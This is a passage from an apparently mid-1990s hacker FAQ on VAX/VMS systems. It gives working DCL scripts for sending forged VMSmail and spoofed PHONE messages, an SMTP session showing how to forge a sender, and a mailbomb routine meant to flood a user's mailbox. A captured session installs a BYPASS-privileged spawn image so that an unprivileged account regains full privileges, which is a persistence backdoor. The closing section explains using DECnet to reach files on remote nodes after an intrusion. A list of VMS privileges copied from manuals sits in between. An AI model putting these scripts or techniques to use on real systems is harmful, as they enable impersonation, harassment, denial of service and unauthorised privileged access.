.($ACCOUNTING).
.A list of auditing options is available for the sys admin ($SET AUDIT).
.An intrusion database is part of the VMS security scheme
.($SHOW INTRUSION).
."The Supervisor Series" (as reviewed in the Fall 94 issue of 2600)
.allows a privileged user to spy on and intervene in another user's
.on-line activities. It is public domain available at
.ftp.spc.edu /anonymous/macro32/savesets.
.There are also short programs out there for a privileged user to look
.at a user's command buffer.

.. -       VMSmail/SMTP Information     - 
 

1.     It is possible to send fake mail through VMSmail objects. DECNet
       object logs are produced and readable by sys admins.

$! To send anonymous or fake messages(except for remote node system admins -
$! mail server logs) through the MAIL mailbox to any user logged on the NET;
$! must only have NETMBX privilege
$null[0,8] = 0
$remote_node = P1
$if P1 .eqs. "" then read sys$command remote_node   /prompt="node: "
$local_user = P2
$if P2 .eqs. "" then read sys$command local_user    /prompt="local user: "
$local_user := 'local_user                      ! remove blanks and lowercases
$real_remote_user = P2
$if P2 .eqs. "" then -
  read sys$command real_remote_user /prompt="real remote user: "
$real_remote_user := 'real_remote_user          ! remove blanks and lowercases
$remote_user = P3
$if P3 .eqs. "" then read sys$command remote_user /prompt="remote user: "
$remote_user := 'remote_user           ! remove blanks and lowercases
$subject = P4
$if P4 .eqs. "" then read sys$command subject       /prompt="subject: "
$filename = P5
$if P5 .eqs. "" then read sys$command filename      /prompt="file name: "
$filename := 'filename
$!
$open/read/write slave 'remote_node'::"27="
$write slave "''local_user'"
$write slave "''real_remote_user'"
$read slave status
$write sys$output f$fao("Addressee status is: !XL",f$cvui(0,8,status))
$write slave null
$if filename .nes. ""
$ then
$  write slave "''remote_user'"
$  write slave "''subject'"
$  open/read/error=end_of_file file 'filename'
$loop:
$  read/end=end_of_file file record
$  write slave "''record'"
$  goto loop
$else
$ write slave "To whomever it concerns"
$ write slave "Demo of using VAXMail protocol"
$ write slave "This is message line"
$endif
$end_of_file:
$close/nolog file
$write slave null
$read slave status
$write sys$output f$fao("Delivery status is: !XL",f$cvui(0,8,status))
$close slave
$exit

."I am attempting to send fake mail by connecting to the SMTP port,
but everytime I issue the 'mail from',  it gives me a 'Mailbox syntax
incorrect', or 'Bad arguments'.  I try the standard format a *always*
use,  but it *still* gives me this crap!  What's the problem?"......

.Of course,  it is possible to send fake mail by connecting to
the VMS machines SMTP (Simple Mail Transfer Protocol) port (25), 
however,  VMS "sendmail" routines tend to be a little more picky.  For 
example,  the session below would *appear* that it should work...

------<Start Session>-------

telnet 6.6.6.6 25
Type ^] (decimal 29) <CR> to return to NetBlazer
Trying 6.6.6.10:25...
Telnet session 0 connected to bogus.add.com
220 BOGUS.ADD.COM TGV MultiNet V3.3 Rev C SMTP service ready at Fri, 6 Jan 1995 
6:25:01 -0500 (EST)
helo
250 BOGUS.ADD.COM ; Hello , pleased to meet you.
mail from: bob@unknown
553 Mailbox syntax incorrect
quit
221 BOGUS.ADD.COM TGV MultiNet V3.3 Rev C SMTP service complete at Fri, 6 Jan 19
95 6:25:22 -0500 (EST)
Telnet session 0 closed: EOF

-------<End Session>---------

.As you can see, however,  this is not the case.  Where is problem
lies is in the fact,  that alot of VMS sendmail routines require "<", and
">" around "mail from" and "rcpt to" commands,  and sometimes a address
(Especially the case with Multinet SMTP,  and Pathway's Wollangong 
Sendmail).   In order to get a good mailing address to "work",  try 
"mail from: <bob@bogus.add.com>".   Some VMS SMTP services do not require
the address,  but in most cases,  the ">" and "<" are required.  The
same applys with the "rcpt to" command.  You might need to format it 
the same as the "mail from".  I.E. - "rcpt to: <system>" or "rcpt to:
<system@bogus.add.com>".   

 

2.     "Can I use my favorite Unix sendmail holes on VMS sendmail?"

.Don't be silly.  No...  Digital did not believe that sendmail
.bugs and holes were important enough to port (grin).  (It 
.has been rumored that one sendmail hole *was* actually ported,  
.but as of this time,  this has not be verified. 

3.      "How can I code a mail bomb routine,  so that I can piss off
. people really good and eat 'bandwidth'."

.Like this,  below...  

$! Simple VMS Mailbomb routine. 
$! Please be someone human.   Don't do this crap.
$!
$ say :== write sys$output
$ on error then goto err
$ if p4 .eqs. "" 
$ then 
$ say "Mailbomb V1.0                            Coded By The Beaver"
$ say "1995"
$ say ""
$ say "Usage:"
$ say "MAILBOMB [Msg Subject] [File to bomb with] [Username] [# of Times]"
$ exit
$ endif
$ A=1
$ loop:
$ mail/subject='p1' 'p2' 'p3' 
$ A = A + 1
$ if A .eqs. p4
$       then
$       say "Bomb Is Complete"
$       exit
$       endif
$ goto loop
$ err:
$ say "A Error has occured.  Be sure all file are present and correct"
$ exit


... - VAXPhone Information -

1.      The phone protocol allows you to send messages.
.Example follows:

$! To send anonymous or fake messages(except for remote node system admins -
$! phone server logs) through the PHONE mailbox to any user logged on the NET,
$! similar to phone ringing messages broadcast to users' terminals; must only
$! have NETMBX privilege
$! Note:
$! This has the unfortunate side effect of kicking the user off his phone if 
$! its not a patched version.
$!
$ debug = "F"
$ null_byte[0,8] = 0
$ true_byte[0,8] = 1
$ false_byte[0,8] = 0
$ id_rmt_user[0,8] = 7          !text = id of remote user, status rtn
$ ring_rmt_user[0,8] = 8        !text = 1 byte, true if first ring, sts rtn
$ hang_up[0,8] = 9              !link broken, no status
$ master_busy[0,8] = 10         !when requested to do other functions
$ master_answer[0,8] = 11       !from another master
$ master_reject[0,8] = 12       !from another master
$ slave_exit[0,8] = 13          !command to slave
$ text[0,8] = 14                !text >= 1 char frag
$ request_dir[0,8] = 15         !null returned when done
$ force_third_party[0,8] = 17   !text is id of 3rd party
$ on_hold[0,8] = 18             !put target on hold
$ off_hold[0,8] = 19            !take target off hold
$!
$ status_unknown = 0    !Unknown problem
$ status_success = 1    !The operation was completed successfully.
$ status_isyntax = 2    !Invalid user syntax
$ status_nocomm = 3     !Slave could not communicate with user
$ status_missunam = 4   !<node::user> missing user name
$ status_nopriv = 5     !The slave does not have necessary privileges.
$ status_noexist = 6    !The specified Target user does not exist.
$ status_badterm = 7    !The Target's terminal cannot be used by PHONE.
$ status_logoff = 8     !The Target logged off during the procedure.
$ status_offhook = 9    !Target phone off hook (e.g., /NOBROADCAST set).
$!
$ remote_node = P1
$ if P1 .eqs. "" then read sys$command remote_node   /prompt="node : "
$ remote_user = p2
$ if P2 .eqs. "" then read sys$command remote_user   /prompt="user : "
$ remote_user := 'remote_user                   ! remove blanks and lowercases
$ local_user_in = "''P3'"
$ if P3 .eqs. "" then read sys$command local_user_in /prompt="text : "
$ local_user = "msg::.. " + local_user_in + -
   "                                                                      " -
   + null_byte
$ open/read/write link 'remote_node'::"29="
$ write link id_rmt_user,local_user,remote_user
$ read link ans
$ if f$cvui(0,8,ans) .ne. status_success then goto error
$       if debug then write sys$output "Link to phone setup"
$ if local_user_in .eqs. "" then goto exit
$ write link ring_rmt_user,local_user,true_byte
$ read link ans
$ if f$cvui(0,8,ans) .ne. status_success then goto error
$       if debug then write sys$output "1 ringy-dingy"
$       count = 1
$ on control_y then goto exit
$  goto exit
$LOOP:
$ write link ring_rmt_user,local_user,false_byte
$ read link ans
$ if f$cvui(0,8,ans) .ne. status_success then goto error
$       if count .ge. 3 then goto exit
$       count = count +1
$       if debug then write sys$output count," ringy-dingies"
$ goto loop
$EXIT:
$ write link slave_exit,local_user
$ close link
$       if debug then write sys$output "Link cleared"
$ exit
$ERROR:
$! under development
$ write sys$output "An error has occured."
$ close link
$ exit

2.      The phone protocol allows you to get a list of interactive users on
.a system.
.From DEC's own archives, example follows:

$ vfy = f$verify(f$integer(f$logical("debug")) .or. f$integer('debug'+0))
$ if f$cvui(1,1,'debug'+0) .or. f$cvui(1,1,f$logical("debug")+0) -
    then write sys$error "File: PHONEDIR.COM, 29-Feb-1984"
$!++
$!  PHONEDIR.COM, E2.0 28-Oct-1985
$!
$!  COPYRIGHT (c) 1984 By
$!  DIGITAL EQUIPMENT CORPORATION, Maynard, Massachusetts 01754.
$!  All Rights Reserved.
$!
$!  This software is furnished without license and may be used and  copied
$!  only with the inclusion of the above copyright notice. No title to and
$!  ownership of the software is hereby transferred.
$!
$!  The information in this software is subject to change  without  notice
$!  and  should  not  be  construed as  a commitment by Digital  Equipment
$!  Corporation.
$!
$!  Digital  assumes  no responsibility for the use or reliability of this
$!  software.
$!--
$!++
$!  Author: SWM,  29-Feb-84,  PARROT::SWM
$!
$!  Edited:
$!    23-Nov-84 SWM, User lookup, V3 compatablility, Psthru capability.
$!    24-Nov-84 DC, Added logical name translation.
$!    30-Nov-84 DC, '_' overrides logical, infn loop check.
$!    27-Oct-85 SWM, Protocol fix, pipelining, clean up code.
$!
$!  Abstract:
$!    Take a directory of users across network via phone protocol.
$!
$!  Inputs: P1 = Node:: (or Node::Node::...) to get user list from;
$!    or Node::User to check on.  Remote user can be specified as
$!    separate parameter P2.  Double colon optional if single node.
$!
$!--
$INITIALIZE:
$ on control_y then goto close
$ set noon
$ v4 = "true"
$ if f$extr(0,2,f$getsyi("version")) .eqs. "V3" then v4 = "false"
$!$ error_status = %x1001C002
$ null[0,8] = 0
$!$ if v4 then old_msg = f$envi("message")
$!$ set message /nofacility/noseverity/noidentification/notext
$!
$ask_node_name:
$ if p1 .eqs. "" then read/end=exit/error=exit sys$command p1 /prompt="Node? "
$ if p1 .eqs. "" then goto exit
$!
$! allow override of node::user logical names
$ sanity_check = 0
$log_name_loop:
$ underscore_found = f$locate("_",p1) .eq. 0
$ if underscore_found then goto got_node_name
$ if f$logi(p1) .eqs. "" then goto got_node_name
$ p1 = f$logi(p1)
$ sanity_check = sanity_check + 1
$ if sanity_check .le. 64 then goto log_name_loop
$ goto error
$!
$got_node_name:
$! add username to node string if specified as separate parameter
$ if p2 .nes. "" then -
   if f$extr(f$leng(p1)-2,2,p1) .eqs. "::" then p1 = f$extr(0,f$leng(p1)-2,p1)
$ if p2 .nes. "" then p1 = p1 + "::" + p2
$! check if single node specified without dbbl colon.
$ if p2 .eqs. "" then -
    if f$parse(p1,,,"node") .eqs. "" then p1 = p1 + "::"
$!-    if f$extr(f$leng(p1)-2,2,p1) .nes. "::" then p1 = p1 + "::"
$!
$ if v4 then p1 = f$edit(p1,"trim,upcase,uncomment")
$ if .not. v4 then p1 := 'p1'
$ remote_user_name = f$parse(p1,,,"name")
$ node = f$extr(0,f$leng(p1)-f$leng(remote_user_name),p1)
$ if node .eqs. "" then node = f$logi("sys$node")
$! commented out doesn't work if access ctrl (f$parse hides password).
$!$ remote_user = node - f$parse(f$extr(0,f$leng(node)-2,node),,,"node") -
$!-    + remote_user_name       ! remove any psthru node names...
$!
$ sanity_check = 0
$ temp = node
$ node_string = ""
$! loop to find name of destination node for use in phone protocol...
$dest_node_loop:
$ loc = f$loca("::",temp)
$ node_string = node_string + f$parse(f$extr(0,loc+2,temp),,,"node")
$! commented out for alternate node_string display if using access ctrl.
$!$ node_string = node_string + f$extr(0,loc,temp)
$!$ node_string = f$extr(0,f$loca("""",node_string),node_string) + "::"
$ remote_user = f$extr(0,loc,temp)                      ! last node
$ remote_user = f$extr(0,f$loca("""",remote_user),remote_user) ! minus a/c.
$ temp = f$extr(loc+2,999,temp)
$ sanity_check = sanity_check + 1
$ if f$loca("::",temp) .ne. f$leng(temp) .and. sanity_check .lt. 32 -
    then goto dest_node_loop
$ remote_user = remote_user + "::" + remote_user_name
$!
$ if v4 then local_user = f$logi("sys$node") + -
    f$edit(f$getjpi("","pid"),"trim,upcase")
$ if .not. v4 then local_user := 'f$logi("sys$node")''f$getjpi("","pid")'
$ local_user = local_user - "_" + null                  ! asciz string
$!
$CREATE_LINK:
$! noon is set so display error message
$ open/read/write slave 'node'"29="
$ save_status = $status
$!$ if save_status .eq. error_status then goto unreachable
$ if .not. save_status then goto exit
$!
$ if remote_user_name .eqs. "" then goto dir_function
$LOCATE_FUNCTION:
$ message[0,8] = 7                                      ! ID remote user
$ message = message + local_user + remote_user
$ write/error=error slave message
$ read/end=error/error=error slave record
$ if f$cvui(0,8,record) .eq. 1 then -
    write sys$output "''remote_user' is currently available."
$! Note: These response values, while defined in the phone protocol do
$!   not seem to be supported in response to the ID function for VAXPhone.
$ if f$cvui(0,8,record) .eq. 6 then -
    write sys$output "''remote_user' is not available."
$ if f$cvui(0,8,record) .eq. 7 then -
    write sys$output "''remote_user''s phone is not usable by phone."
$ if f$cvui(0,8,record) .eq. 9 then -
    write sys$output "''remote_user''s phone is off hook (/NOBROADCAST)."
$ if (f$cvui(0,8,record) .ne. 1) .and. (f$cvui(0,8,record) .ne. 6) .and. -
    (f$cvui(0,8,record) .ne. 7) .and. (f$cvui(0,8,record) .ne. 9) then -
   write sys$output "''f$fao("Bad status received = !2ZB.",f$cvui(0,8,record))
$ exit_command[0,8] = 13
$ write/error=error slave exit_command,local_user
$ goto close
$!
$DIR_FUNCTION:
$ message[0,8] = 15                                     ! Request directory
$ message = message + local_user
$ write/error=error slave message
$ write/error=error slave message                       ! Pipeline requests!!!
$ write/error=error slave message
$ write/error=error slave message
$! Pipelining limited to 2 extra requests max to keep procedure from hanging.
$!   Worst case limit is (DECnet_Pipeline_Quota/DECnet_Buffer_Size) * 2 + 1
$print_header:
$ count = 0
$ write sys$output ""
$ write sys$output ".Directory of Users on Node ",node_string
$ write sys$output ""
$! skip pipeline hack code as RMS timeouts don't with DECnet yet.
$ GOTO LOOP
$!$ if .not. v4 then write/error=error slave message
$ if .not. v4 then goto loop
$! Put up to 8 requests in logical link pipe...
$ sanity_check = 3                                      ! number msgs in pipe.
$pipeline_hack:
$ sanity_check = sanity_check + 1
$ if sanity_check .ge. 8 then goto loop
$ write/error=error slave message
$ read/end=eof/error=pipeline_hack/timeout=0 slave record
$ goto loop_alt_entry
$!
$loop:
$ read/end=eof/error=error slave record
$loop_alt_entry:
$ if record .eqs. "" then goto done
$ write/error=error slave message
$ write sys$output record
$ count = count + 1
$ goto loop
$eof:
$! rsx-11 phone slave closes link after directory function.
$ rsx = "  (System is RSX)"
$done:
$ write sys$output ""
$ write sys$output "Total number of users = ''f$string(count)'''rsx'"
$! don't tell slave to exit if link already closed.
$ if "''rsx'" .nes. "" then goto close
$ exit_command[0,8] = 13
$ exit_command = exit_command + local_user
$ write slave exit_command
$eof_loop:
$ GOTO CLOSE                                            ! Hack!!!
$! Note: Should finish up properly by reading all responses.
$ read/end=close/error=error slave dummy
$!$ write sys$output dummy                              ! show empty data
$ goto eof_loop
$!
$unreachable:                                           ! this removed...
$! this section left in for possible enhanced error checking...
$!$ write sys$output ""
$!$ write sys$output "Node unreachable, unknown, or object unknown."
$ goto exit
$ERROR:
$ write sys$error "PHONEDIR-E-BugCheck, An error has occured."
$close:
$! close the link no matter what.
$ close /error=exit slave
$exit:
$!$ set message 'old_msg'
$ if vfy then set verify                                ! 'f$verify(0)'
$ exit
.      
.BTW: There is a modified phone program available via
.     anonymous ftp which gives increased functionality
.     with commands such as 'reject' and 'transcribe'
.      
.      
.      -      User/Image Privilege Information     -


1.      "How are user privileges setup?"

.User privileges are handled in a completely different manner
.than Unix handles them.  With Unix,  you have either 

.a> all priveleges (IE - "root") 
.b> standard user 

.VMS is a touch different.
.
.For example,  let's say you have a field engineer that needs
.a standard user account (I.E. - be able to send/receive mail, 
.do standard DCL commands.. Normal TMPMBX, NETMBX,  and
.all that),  but in order to do his job,  he needs to run the
.online VMS diagnostics software (which is a privileged operation)
.When you add the user,  you can grant him "DIAGNOSE" privledges,
.and normal user privileges,  and he will be able do regular users
.commands and run diagnostics. 

.What this means is that you can grant certain privileged 
.function to certain users,  rather than giving the user 
."the whole system".  

.This user we added would only have access to privileges that deal
.with the diagnostic software.  For example,  he could not add
.users (via "AUTHORIZE" or modify the SYSUAF.DAT).  

"Privileges restrict the user of certain system functions to processes
created on the behalf of authorized users.  These restrictions protect 
the integrity of the operating system code,  data,  and resources and
thus,  the integrity of user services." 

"Users cannot execute an image that requires a privilege they do not 
possess,  unless the image is installed as a known image with the 
privilege in question or the image runs within a protected subsystem"

.Privileges can also be installed on images,  so that when that 
.image is executed,  that images process get the permissions 
.that it has been granted (this does not mean that the user gets
.the privileges,  but rather,  just the process running this
.task)

...- OpenVMS VAX Guide To System Security
...  (6.0 manual). 

.Below is a listing of privileges,  and a brief description.


ACNT      -     Lets a process use the RUN (Process) command to create
..Process ($CREPRC) system service to create processes
..in which accounting is disabled.  A process in which
..account is disabled is on whose resources are not logged. 

ALLSPOOL  -     This privlege lets user's process allocate a spooled
..device by executing the Allocate Device ($ALLOC) system
..service or by users the DCL command "ALLOCATE"

ALTPRI    -     Allows the user's process to 
..1.  Increase its own priority
..2.  Set the base priority of a target process
..3.  Change priority of its batch or print jobs. 

AUDIT     -     Allows software to append to audit records to the system
..security audit log file.   As a result,  this privilege
..permits the logging of events that appear to come from the
..operating system

BUGCHK    -     Allows the process to make bugcheck error log entries
..from users,  supervisor, or compatibility mode or to send
..messages to the system error logger. 

BYPASS    -     Allows the user's process full access to all protected
..objects,  totally bypassing UIC-based protection, 
..ACL protection (Access Control List) and mandatory 
..access controls.   Users with this privilege can 
..modify authorization records (SYSUAF.DAT,  where
..usernames/passwords are stored),  rights identifiers
..(RIGHTSLIST.DAT), DECNet object passwords and accounts
..(NETOBJECT.DAT),  and unlimited file access.

CMEXEC    -     Allows the user's process to execute the Change Mode to
..Executive system service.

CMKRNL    -     Allows the user's process to execute the Change Mode to
..Kernel system services.   These privileges allow 
..things like modify a multiprocessor operation (START/
..CPU,  STOP/CPU type commands),  modifying the system
..rights list (SET RIGHTS/ATTRIBUTE), change a processes
..UIC (SET UIC),  and other functions.

DETACH    -     Processes can create detached processes that have there
..own UIC without the DETACH privilege,  provided the 
..processes wants to specify a different UIC for the 
..

DIAGNOSE  -     Lets a process run online diagnostic programs and intercept
..and copy all messages written to the error log file. 

DOWNGRADE -     Permits a process to manipulate mandatory access controls.

EXQUOTA   -     Allows the space taken by the user's files on a given
..disk volumes to exceed any usage quotas set for the user 
..(as determined by UIC) on those volumes. 

GROUP     -     Allows the user's process to affect other processes in its
..own group.

GRPNAME   -     Lets the user's process bypass  access controls
..and insert names into (and delete from) the logical table
..of the group to which the process belongs by the use of the
..Create Logical Bane and Delete Logical Name system services.

GRPPRV    -     When the process's group matches the group of the object
..owner,  the GRPPRV privilege gives a process the access rights
..provided by the object's system protection field.  GRPPRV
..also lets a process change the protection or the 
..ownership of any object whose owner group matches the
..process's group by using the DCL commands SET SECURITY

IMPORT    -     Lets a process manipulate mandatory access controls.  The
..privilege lets a process mount unlabeled tape volumes.  
..This privilege is reserved for enhanced security products
..like SEVMS. 

LOG_IO    -     Lets the user's process execute the Queue I/O request
..($QIO) system service to perform logical-level I/O
..operations.

MOUNT     -     Lets the user's process execute the mount volume QIO
..function. 

NETMBX    -     lets a process perform functions related to a DECNet
..Computer Network. 

OPER      -     Allows a process to use the Operator Communications 
..Manager (OPCOM) process to reply to user's request, 
..to broadcast messages to all terminals logged in,  to 
..designate terminals as operator terminals and specify
..the types of messages to be displayed to these operator's
..terminals,  and to initialize and control the log file
..of operator's messages. 

PFNMAP    -     Lets a user's process create and map page frame number
..(PFN) global sections to specific pages of physical 
..memory or I/O device registers,  no matter who is using
..the pages or registers. 

PHY_IO    -     Lets the user's process execute the Queue I/O request
..($QUI) system service to perform physical-level I/O
..operations. 

PRMCEB    -     Lets the user's process create or delete a permanent
..common even flag cluster by executing the Associate 
..Common Event Flag Cluster. 

PRMGBL    -     Lets the user's process create or delete permanent 
..global section by executing the Create and Map Section
..or Delete Global Section system service.  In addition
..,  a process with this privilege (plus CMKRNL and SYSGLB
..privileges) can use the Install utility (INSTALL)

PRMMBX    -     Lets user's process create or delete permanent mailbox
..by the Create Mailbox and Assign Channel system service
..or the DElete Mailbox system service.   Mailboxes are
..buffers in virtual memory that are treated as if they were
..record oriented I/O devices.  A mailbox is used for
..general interprocess communications. 

PSWAPM    -     Lets the user's process control whether is can be 
..swapped out of the balance set by executing the 
..Set Process Swap Mode system service. 

READALL   -     Lets the process bypass existing restrictions that would
..otherwise prevent the process from reading an object. 
..Unlike the BYPASS privilege which will permits writing and
..deleting,  READALL permits only the reading of objects
..and allow updating of such backup-related file
..characteristics as the backup date. 

SECURITY  -     Lets a process perform security related functions such
..as modifying the system password with the DCL command
..SET PASSWORD /SYSTEM or modifying the system alarm 
..and auditing settings using the DCL command 
..SET AUDIT.  

SETPRV    -     Lets user's create process whose privileges are greater
..than its own.   With this privilege,  a user can obtain
..any other privilege via the DCL command "SET PROCESS/
..PRIV"

SHARE     -     Lets process assign channels to devices allocated to other
..processes or to a nonshared device the Assign I/O Channel
..system service. 

SHMEM     -     Lets the user's process create global sections and 
..mailboxes (permanent or temporary_ in memory shared by
..multiple processors if the process also has appropriate
..PRMGBL,  PRMMBX,  SYSGBL,  and TMPMBX privileges. 

SYSGBL    -     Lets user;s create or delete system global sections by
..executing the Create and Map Sections or the Delete
..Global Section system services.  With this privilege
..and CMKRNL and PRMGBL,  the Install command (INSTALL)
..can be used. 

SYSNAM    -     Let's user's process bypass discrepancy access
..controls and insert names into the system logical
..name table and delete names from that table.  A
..process with this privilege can use the DCL commands
..ASSIGN and DEFINE to add names to the system logical
..in the user or executive mode and can use the DEASSIGN
..command in either mode to delete names from the 
..table. 

SYSPRV    -     Lets a process access security objects by the system
..protection field and also read and modify the owner
..(UIC),  the UIC-based protection code,  and the ACL 
..of and object.   Any processes with this privilege
..can add,  modify,  or delete entries in the system
..user authorization file (SYSUAF.DAT)

TMPMBX    -     Lets user's create process create a temporary mailbox
..by executing the Create Mailbox and Assign Channel. 
..
UPGRADE   -     Lets a process manipulate access controls.  This privilege
..is reserved for enhanced security products like SEVMS.

VOLPRO    -     Lets user's processes:
...o Initialize a previously used volume with an owner
...  UIC different from the user's own UIC.
...o Override the expiration date on a tape or
...  disk owned by another user. 
...o Use the ////FOREIGN qualifier to mount a Files-11
...  volume owned by another user.
...o Override the owner UIC protection of volume. 

WORLD     -     Lets user's process affect (suspend, resume, delete, 
..set priority, wake,  etc) other processes both inside
..and outside its group.


....- Taken Mostly From the, "OpenVMS VAX
....  System Security" (V6.0) 



2.      "How can I make a SUID Shell in VMS".... 

.Simple...  You can't.   Privileges are handled in a much different
.method than on Unix (see "How are user privileges setup").  You
.can make a program (image) that when executed,  the process
.of that image gains the privileges that it was "installed"
.with.    For example,  if you write a program that needs read access
.to the SYSUAF.DAT you *could* make SYSUAF.DAT world readable 
.(if you are on a privileged account,  of course)  but this 
.would be very,  very unwise.    Another method would be to 
."INSTALL" the executable image and give it READALL privileges, 
.so that when a user's processes calls your programs,  that programs
.process (the image running) gets READALL privileges.   Then that
.process would be able to read the SYSUAF.DAT,   but the user's
.process would not.  

.With this in mind,   it is possible to create a senerio similar
.to that of a "SUID Shell" (but without the shell).  The idea
.is to give the privileges (that you want to keep ahold of) 
.on a program that does nothing more than make a call to 
.LIB$SPAWN.   The idea is to write a program that will do nothing
.more than create another process (that drops you to DCL)
.via LIB$SPAWN,  and using the VMS "INSTALL" utility,  give it
.the privileges that you wish that process to have.  There are
.several downfalls to this.  To accomplish this,  you would
.need CMKRNL privileges yourself (your process).  So your process
.would already need certain privileges to pull this off. The idea 
.here is in the event that the user has obtained a "privileged
.account",  and wishes to remain privileged,  he/she could 
.install a image which could be called by a normal (non-privileged)
.user in which he/she could obtain the system privileges again. 
.
.Below is a sample session capture of me installing a privileged
.image.   The privilege I gave this image is "BYPASS" (Bypass
.all security features,  and the ability to modify SYSUAF.DAT
.and RIGHTSLIST.DAT)

 
Trying...
Connected to UpperDck
Escape character is '^]'.

..       Upper-Dck VMS Development System 
...     


Username: SYSTEM   ! Login to our privileged account
Password: 
.Welcome to VAX/VMS version V5.2 on node UPPERDCK
    Last interactive login on Friday,  6-JAN-1995 07:17
    Last non-interactive login on Thursday, 22-DEC-1994 15:51

 User= SYSTEM       Directory= [SYSMGR]       UIC=  [1,4]
.Terminal= NTY5:       6-JAN-1995 07:19:01.00

sysm>basic      ! I am going to use VMS BASIC,  but use anything you want

VAX BASIC V2.3


Ready

10 external long function lib$spawn ! Call "SPAWN" library.  The idea with this
   declare long xspawn              ! program is to give us another "spawned"
   xspawn=lib$spawn()               ! process. 

save mytrap             ! Save this program
Ready

exit                    ! and exit the VMS BASIC. 
sysm>basic mytrap*.*    ! Just to show our file. 

Directory SYS$SYSROOT:[SYSMGR]

MYTRAP.BAS;1        

Total of 1 file.
sysm>basic mytrap       ! This will compile and make our object code
sysm>dir mytrap*.*      ! To show our object code. 

Directory SYS$SYSROOT:[SYSMGR]

MYTRAP.BAS;1        MYTRAP.OBJ;1        

Total of 2 files.

sysm>link mytrap/notraceback  ! Link it, with notraceback (for priv reasons)
sysm>dir mytrap*.*            ! To show our executeable code. 

Directory SYS$SYSROOT:[SYSMGR]

MYTRAP.BAS;1        MYTRAP.EXE;1        MYTRAP.OBJ;1        

Total of 3 files.

sysm>copy mytrap.exe sys$system:  ! copy it to sys$system: [this is silly] 
sysm>install                      ! Run install to setup priv's on our imagine.
INSTALL> create mytrap/priv=(bypass) ! Give "mytrap" bypass priv's
INSTALL> list mytrap/full            ! Just to show off the image priv's

DISK$VAXVMSRL5:<SYS6.SYSEXE>.EXE
   MYTRAP;2                       Prv 
.Entry access count         = 0
.Privileges = BYPASS 

INSTALL> exit                    ! Get the hell out of here.
sysm>dir sys$system:mytrap.exe   ! And just to show its still there

Directory SYS$SYSROOT:[SYSEXE]

MYTRAP.EXE;2        MYTRAP.EXE;1        

Total of 2 files.

sysm>dir sys$system:mytrap.exe;2 /full ! Notice "world" protections...

Directory SYS$SYSROOT:[SYSEXE]

MYTRAP.EXE;2                  File ID:  (43314,33,0)       
Size:            4/6          Owner:    [1,4]
Created:   6-JAN-1995 07:20:26.35
Revised:   6-JAN-1995 07:20:41.54 (2)
Expires:   <None specified>
Backup:    <No backup recorded>
File organization:  Sequential
File attributes:    Allocation: 6, Extend: 0, Global buffer count: 0
..    No version limit, Contiguous best try
Record format:      Fixed length 512 byte records
Record attributes:  None
RMS attributes:     None
Journaling enabled: None
File protection:    System:RWED, Owner:RWED, Group:RE, World:
Access Cntrl List:  None

sysm>set file sys$system:mytrap.exe /protection=(w:re) ! because world cant
sysm>log                                               ! read/execute. Logout. 

  SYSTEM       logged out at  6-JAN-1995 07:42:02.55
Connection closed by foreign host.

.[Now,  we make a new connection to the system to test our ]
.[ "MYTRAP.EXE" with the image priv's attached to it       ]

Trying...
Connected to UpperDck.
Escape character is '^]'.

..       Upper-Dck VMS Development System 
...     

Username: JOEBOB        ! Now, log as a normal user. 
Password: 
.Welcome to VAX/VMS version V5.2 on node UPPERDCK
    Last interactive login on Friday,  6-JAN-1995 07:14

 User= JOEBOB        Directory= [UPPERDCK]       UIC=  [130,163]
.Terminal= NTY6:       6-JAN-1995 07:42:12.00

UPDCK> show process/priv ! To prove that we have normal user priv's

 6-JAN-1995 07:42:27.01   User: JOEBOB           Process ID:   0000010F
...  Node: UPPERDCK         Process name: "JOEBOB"
 
Process privileges:
 TMPMBX               may create temporary mailbox
 NETMBX               may create network device
 
Process rights identifiers:
 INTERACTIVE
 LOCAL
 SYS$NODE_UPPERDCK
UPDCK> set proc/priv=bypass ! To prove I can't enabled "BYPASS" priv's
%SYSTEM-W-NOTALLPRIV, not all requested privileges authorized
UPDCK> mcr mytrap           ! Run our little "privledge provider"
UPDCK> show process/priv    ! To show our priv's after we exec. MYTRAP.EXE
...    ! note that we are spawned (see PID and Proc. Name)

 6-JAN-1995 07:42:46.05   User: JOEBOB           Process ID:   00000110
...  Node: UPPERDCK         Process name: "JOJBOB_1"
 
Process privileges:
 TMPMBX               may create temporary mailbox
 NETMBX               may create network device
 
Process rights identifiers:
 INTERACTIVE
 LOCAL
 SYS$NODE_UPPERDCK
UPDCK> set process/priv=bypass ! Note,  no error when we do this now. 
UPDCK> show process/priv       ! To prove that we have gained BYPASS

 6-JAN-1995 07:42:53.37   User: JOEBOB           Process ID:   00000110
...  Node: UPPERDCK         Process name: "JOEBOB_1"
 
Process privileges:
 TMPMBX               may create temporary mailbox
 NETMBX               may create network device
 BYPASS               bypasses UIC checking 


Process rights identifiers:
 INTERACTIVE
 LOCAL
 SYS$NODE_UPPERDCK
UPDCK> logout ! I can pretty much do anything now.... Lets stop this subprocess
  Process JOEBOB_1 logged out at  6-JAN-1995 07:42:59.01
UPDCK> logout ! logout completely

  JOEBOB       logged out at  6-JAN-1995 07:43:05.11
Connection closed by foreign host.
.

.     -     Using DEC's Network to your advantage     -


1.      "What is a DECNet?"

"DECNet is a collective name for the family of communications products
(software and hardware) that allow DIGITAL operating systems to participate
in a network.  

"A DECNet network links computers into flexible configurations to exchange
information,  share resources,  and perform distributed processing.  DECNet
distribution processing capabitlites also information to be originated
anywhere in the network."

..- VMS Version 5.0 DECnet "Guide to DECNet - VAX Networking"

.DECNet can support a minimum of 2 nodes and up to 64,000 nodes, 
.and can support multiple OS's along with various LAN/WAN
.(Using PSI,  and DECNet system can be supported on packet 
.switching enviroments (like Tymnet and Sprintnet)) and  
.operating environments. (VMS,   Ultrix,  RSX, and with the correct
.hardware,  IBM PC's,  VAXmate's, etc).  

.DECNet allows easy access to information from system to system,
.assuming you have the NETMBX privilege.

.To get a list of DECNet objects, "$MCR NCP SHOW KNOWN OBJECTS".


2.      "This is great,  what does it mean to me."

.You can use DECNet to grab information/files/programs and use
.them to your own advantage (granted that security has not 
.been completely implemented... which is usually the case
.on a vanilla/default install)

.For instance,  if a intruder where to break into a system
.which supported a DECNet,  he/she might be able to access files on
.a remote system/nodes of that DECNet.  As stated,   DECNets
.can range from local machines in that area (LAN) or 
.DECNet's can stretch across the world.  

3.      "How would I get to that information on a remote node?"

.All from DCL,  accessing the default, unprived DECNet or possibly
.prived proxy account on the remote node, using commands like
."DIRECTORY",  "COPY", "TYPE",  etc.   Usually by adding in the node
.name at the being of the command.  For example

$ DIR NODE::            ! Example format.

